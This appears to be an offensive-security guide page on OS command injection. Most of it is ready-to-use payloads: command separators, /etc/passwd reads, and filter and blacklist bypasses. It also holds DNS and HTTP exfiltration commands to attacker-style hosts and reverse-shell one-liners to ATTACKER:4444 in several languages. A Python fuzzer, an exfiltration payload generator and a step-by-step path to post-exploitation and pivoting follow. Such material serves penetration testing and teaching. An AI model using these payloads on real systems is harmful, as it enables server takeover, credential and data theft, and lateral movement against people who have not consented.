Exploitation A03

OS Command Injection

Command injection occurs when user input is passed unsafely to system shell commands, leading to arbitrary command execution on the server.

Danger

Command injection is a critical vulnerability that can lead to complete system compromise.

๐ŸŽฏ Why Command Injection is Critical

Command injection (CWE-78) is consistently ranked as one of the most dangerous vulnerabilities because it provides direct access to the underlying operating system:

  • Immediate Code Execution: Unlike other vulnerabilities requiring chaining, command injection gives instant OS-level access. One vulnerable parameter = full server compromise.
  • Container Escape Potential: In containerized environments, command injection can be the first step to escaping to the host system or accessing secrets.
  • Persistence & Lateral Movement: Attackers can add SSH keys, create backdoor users, install rootkits, and pivot to other systems on the network.
  • Data Exfiltration: Direct access to databases, configuration files, environment variables with API keys and credentials.
  • Ransomware Deployment: Many ransomware attacks begin with command injection into web applications facing the internet.
  • Hidden in Legacy Code: Common in older applications using system calls for features like file conversion, image processing, or network tools.

Tools & Resources

Commix

Automated OS command injection exploitation tool

apt install commix GitHub โ†’

Burp Collaborator

OOB interaction testing for blind injection

Burp Suite Pro

interactsh

Free OOB testing server (DNS, HTTP, SMTP)

go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest GitHub โ†’

RevShells

Reverse shell generator for all languages

Web-based revshells.com โ†’

PayloadsAllTheThings

Comprehensive command injection payloads

GitHub reference GitHub โ†’

Netcat / ncat

Swiss army knife for TCP/UDP connections

apt install netcat-openbsd

Common Vulnerable Functions:

PHP

system(), exec(), shell_exec(), passthru(), popen(), proc_open()

Python

os.system(), subprocess.call(), subprocess.Popen(shell=True)

Node.js

child_process.exec(), child_process.spawn()

Command Separators

Command separators allow chaining multiple commands. The key is finding which separator works in your context.

text
# Unix/Linux Separators
;       # Sequential - runs regardless of previous command
|       # Pipe - passes output to next command
||      # OR - runs if previous command FAILS
&       # Background - runs in background
&&      # AND - runs if previous command SUCCEEDS
$(cmd)  # Command substitution - inline execution
`cmd`   # Backtick substitution (legacy)

# Newline as separator
%0a     # URL encoded newline
%0d%0a  # CRLF

# Windows Separators
&       # Sequential execution
&&      # AND - runs if previous succeeds
||      # OR - runs if previous fails  
|       # Pipe output
%0a     # Newline

Basic Payloads - Unix

text
# Semicolon separator
; id
; whoami
; cat /etc/passwd
; ls -la
; uname -a

# Pipe separator
| id
| cat /etc/passwd
| nc attacker.com 4444 -e /bin/bash

# Conditional execution
|| id              # Runs if previous fails
&& id             # Runs if previous succeeds

# Command substitution
$(id)
$(whoami)
$(cat /etc/passwd)
`id`              # Backticks

# Newline injection
%0aid
%0acat%20/etc/passwd

# Useful commands to run
id                # Current user
whoami            # Username
uname -a          # System info
cat /etc/passwd   # Users list
env               # Environment variables
ps aux            # Running processes
netstat -tulpn    # Network connections
find / -perm -4000 2>/dev/null  # SUID binaries

Basic Payloads - Windows

powershell
# Basic commands
& whoami
&& whoami
| whoami
|| whoami

# System enumeration
& dir
& dir C:\
& type C:\Windows\win.ini
& type C:\Windows\System32\drivers\etc\hosts
& ipconfig /all
& net user
& net localgroup administrators
& systeminfo
& tasklist
& netstat -ano

# PowerShell execution
& powershell -c "whoami"
& powershell -enc <base64>
& powershell IEX(New-Object Net.WebClient).downloadString('http://attacker/shell.ps1')

# Newline
%0awhoami
%0d%0awhoami

Blind Command Injection

When there's no output in the response, use time delays or out-of-band channels to confirm execution.

Time-Based Detection

text
# Unix - sleep command
; sleep 10
| sleep 10
$(sleep 10)
`sleep 10`
%0asleep%2010

# Windows - ping loopback (takes ~10 seconds)
& ping -n 10 127.0.0.1
& timeout /t 10
| ping -n 10 127.0.0.1

# Conditional time delay (useful for boolean-based)
; if [ $(whoami) = "root" ]; then sleep 10; fi
& if %username%==administrator ping -n 10 127.0.0.1

Out-of-Band (OOB) Exfiltration

bash
# DNS exfiltration (works through firewalls)
; nslookup YOUR-SUBDOMAIN.burpcollaborator.net
; nslookup $(whoami).YOUR-SUBDOMAIN.oast.fun
; host $(whoami).YOUR-SUBDOMAIN.interactsh.com

# Exfiltrate data via DNS (base64 encode first)
; nslookup $(cat /etc/passwd | base64 | head -c 60).attacker.com

# HTTP callback
; curl http://YOUR-SERVER/$(whoami)
; wget http://YOUR-SERVER/?data=$(cat /etc/passwd | base64)

# Windows DNS exfiltration
& nslookup YOUR-SUBDOMAIN.burpcollaborator.net
& nslookup %username%.YOUR-SERVER.com
& powershell -c "Resolve-DnsName -Name $env:username.attacker.com"

Tip

Free OOB Services: Use interactsh.com for free OOB testing, or oast.fun. Burp Collaborator requires Pro license.

Filter Bypass Techniques

Space Bypass

bash
# Using $IFS (Internal Field Separator)
cat$IFS/etc/passwd
cat$IFS$9/etc/passwd
ls$IFS-la

# Using tab character
cat%09/etc/passwd
cat\t/etc/passwd

# Using brace expansion
{cat,/etc/passwd}
{ls,-la}

# Input redirection
cat</etc/passwd
cat<>/etc/passwd

# Windows
type%09C:\Windows\win.ini
dir;C:\

Keyword/Command Bypass

bash
# String concatenation (quotes)
c'a't /etc/passwd
c"a"t /etc/passwd
wh'oa'mi
wh"oa"mi

# Backslash insertion
ca\t /etc/passwd
who\ami

# Variable insertion
c$()at /etc/passwd
ca$@t /etc/passwd

# Hex encoding
$(printf '\x63\x61\x74') /etc/passwd  # cat

# Base64 execution
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash
echo d2hvYW1p | base64 -d | sh

# Environment variables
$SHELL -c 'cat /etc/passwd'
/???/??t /etc/passwd   # Wildcards for /bin/cat

Blacklist Bypass

bash
# If 'cat' is blocked
tac /etc/passwd      # Reverse cat
head /etc/passwd
tail /etc/passwd
more /etc/passwd
less /etc/passwd
nl /etc/passwd       # Line numbers
sort /etc/passwd
uniq /etc/passwd
awk '{print}' /etc/passwd
sed '' /etc/passwd
grep . /etc/passwd

# If 'ls' is blocked
dir                  # Directory listing
find . -maxdepth 1
echo *
printf '%s\n' *

# If '/' is blocked
${HOME:0:1}etc${HOME:0:1}passwd  # Bash substring

Reverse Shells

Once you confirm command injection, upgrade to a reverse shell for interactive access:

bash
# Bash TCP
bash -i >& /dev/tcp/ATTACKER/4444 0>&1
bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'

# Netcat variants
nc -e /bin/bash ATTACKER 4444
nc -c bash ATTACKER 4444
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER 4444 >/tmp/f

# Python
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# PHP
php -r '$s=fsockopen("ATTACKER",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# Perl
perl -e 'use Socket;$i="ATTACKER";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'

# PowerShell (Windows)
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('ATTACKER',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length)}"

Tip

URL Encode: When injecting through URLs, encode special characters. Use %26 for &, %3b for ;, %7c for |.

Commix Automation

bash
# Basic scan
commix -u "http://target.com/page?param=test"

# POST request
commix -u "http://target.com/page" --data="param=test"

# With cookies/authentication
commix -u "http://target.com/page?param=test" --cookie="session=abc123"

# Specify technique
commix -u "http://target.com/page?param=test" --technique=t  # Time-based
commix -u "http://target.com/page?param=test" --technique=f  # File-based

# OS shell
commix -u "http://target.com/page?param=test" --os-shell

# Skip prompts
commix -u "http://target.com/page?param=test" --batch

Python Automation

Command Injection Fuzzer

python
#!/usr/bin/env python3
"""
Command Injection Fuzzer
Tests multiple separators and payloads against a target parameter
"""
import requests
import sys
import time
from urllib.parse import quote

# Payload templates - use .format(cmd=...) to substitute command
PAYLOADS = [
    # Unix separators
    "; {0}",
    "| {0}",
    "|| {0}",
    "& {0}",
    "&& {0}",
    "\n{0}",
    "$({0})",
    "\`{0}\`",
    
    # URL encoded variants
    "%3b {0}",           # ;
    "%7c {0}",           # |
    "%26 {0}",           # &
    "%0a{0}",            # newline
    
    # Windows
    "& {0}",
    "| {0}",
    "%0d%0a{0}",         # CRLF
]

def test_injection(url, param, method='GET', cookies=None):
    """Test for command injection vulnerabilities"""
    print(f"[*] Testing {url} parameter: {param}")
    print(f"[*] Method: {method}")
    
    # Time-based detection command
    sleep_cmd = "sleep 5" if method == 'GET' else "ping -c 5 127.0.0.1"
    
    for payload_template in PAYLOADS:
        payload = payload_template.format(sleep_cmd)
        
        try:
            start_time = time.time()
            
            if method == 'GET':
                response = requests.get(
                    url, 
                    params={param: f"test{payload}"},
                    cookies=cookies,
                    timeout=15
                )
            else:
                response = requests.post(
                    url,
                    data={param: f"test{payload}"},
                    cookies=cookies,
                    timeout=15
                )
            
            elapsed = time.time() - start_time
            
            # Check for time-based response (5+ second delay indicates success)
            if elapsed >= 4.5:
                print(f"[+] VULNERABLE! Payload: {repr(payload)}")
                print(f"    Response time: {elapsed:.2f}s")
                return payload_template
                
        except requests.exceptions.Timeout:
            print(f"[+] VULNERABLE (timeout)! Payload: {repr(payload)}")
            return payload_template
        except Exception as e:
            print(f"[-] Error with payload {repr(payload)}: {e}")
    
    print("[-] No time-based injection found")
    return None

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <url> <param> [method]")
        print(f"Example: {sys.argv[0]} 'http://target.com/ping' 'ip' POST")
        sys.exit(1)
    
    url = sys.argv[1]
    param = sys.argv[2]
    method = sys.argv[3] if len(sys.argv) > 3 else 'GET'
    
    test_injection(url, param, method.upper())

OOB Exfiltration Script

python
#!/usr/bin/env python3
"""
Generate OOB exfiltration payloads for command injection
Exfiltrates data via DNS to interactsh/Burp Collaborator
"""
import base64
import sys

def generate_oob_payloads(collaborator_domain, data_command):
    """Generate OOB exfiltration payloads"""
    
    payloads = [
        ("DNS (Unix)", f"nslookup $({data_command} | base64 | head -c 60).{collaborator_domain}"),
        ("DNS (backticks)", f"nslookup \`{data_command} | base64 | head -c 60\`.{collaborator_domain}"),
        ("DNS (Windows)", f"nslookup %username%.{collaborator_domain}"),
        ("HTTP (curl)", f"curl http://{collaborator_domain}/?d=$({data_command} | base64)"),
        ("HTTP (wget)", f"wget http://{collaborator_domain}/?d=$({data_command} | base64)"),
    ]
    
    print(f"[*] OOB Payloads for: {collaborator_domain}")
    print(f"[*] Data command: {data_command}")
    print("-" * 60)
    
    for name, payload in payloads:
        print(f"\n{name}:")
        print(f"  {payload}")
    
    # Separator variants
    print("\n" + "=" * 60)
    print("[*] With separators (prepend to your input):")
    separators = ["; ", "| ", "|| ", "&& ", "\n", "%0a"]
    
    for sep in separators:
        print(f"  {sep}{payloads[0][1]}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <collaborator_domain> [command]")
        print(f"Example: {sys.argv[0]} abc123.oast.fun whoami")
        sys.exit(1)
    
    domain = sys.argv[1]
    cmd = sys.argv[2] if len(sys.argv) > 2 else "whoami"
    
    generate_oob_payloads(domain, cmd)

Command Injection Testing Checklist

๐Ÿ” Discovery Phase

  • โ˜ Identify parameters that interact with OS (ping, dns, file ops)
  • โ˜ Look for filename/path parameters
  • โ˜ Check PDF generators, image processors
  • โ˜ Test email functionality (mail command)
  • โ˜ Examine backup/export features
  • โ˜ Test diagnostic/health check endpoints

โšก Separator Testing

  • โ˜ Test semicolon (;) separator
  • โ˜ Test pipe (|) separator
  • โ˜ Test ampersand (&, &&) separator
  • โ˜ Test newline (%0a, %0d%0a)
  • โ˜ Test command substitution ($(), ``)
  • โ˜ Test URL-encoded variants

๐Ÿ• Blind Detection

  • โ˜ Time-based: sleep 10 / ping -c 10
  • โ˜ OOB via DNS (nslookup, host)
  • โ˜ OOB via HTTP (curl, wget)
  • โ˜ File write then access
  • โ˜ Conditional time delays
  • โ˜ Error-based inference

๐Ÿ”“ Filter Bypass

  • โ˜ Space bypass ($IFS, %09, {cmd})
  • โ˜ Quote insertion (c'a't, c"a"t)
  • โ˜ Backslash insertion (ca\\t)
  • โ˜ Variable substitution ($@)
  • โ˜ Base64 encode + decode
  • โ˜ Hex encoding (\\x63\\x61\\x74)

How to Exploit Command Injection

Step-by-Step Exploitation

  1. Identify Injection Point: Find parameters that seem to interact with OS commands (ping tool, file viewer, DNS lookup, etc.)
  2. Confirm Injection: Try simple separators with benign commands. If no output visible, use time-based payloads: ; sleep 10
  3. Determine OS: Based on response or timing, determine if target is Unix or Windows. Try ; uname -a or & ver
  4. Enumerate System: Run discovery commands: id, whoami, env, cat /etc/passwd
  5. Exfiltrate Data: For blind injection, use OOB via DNS: ; nslookup $(whoami).your-collaborator.com
  6. Establish Shell: Get interactive access. Set up listener: nc -lvnp 4444. Send reverse shell payload.
  7. Post-Exploitation: Upgrade to PTY shell, enumerate further, look for credentials, pivot to other systems.

โš ๏ธ Pro Tip: If spaces are filtered, use $IFS (Internal Field Separator) in Unix: cat$IFS/etc/passwd or brace expansion: {cat,/etc/passwd}

Practice Labs

External Resources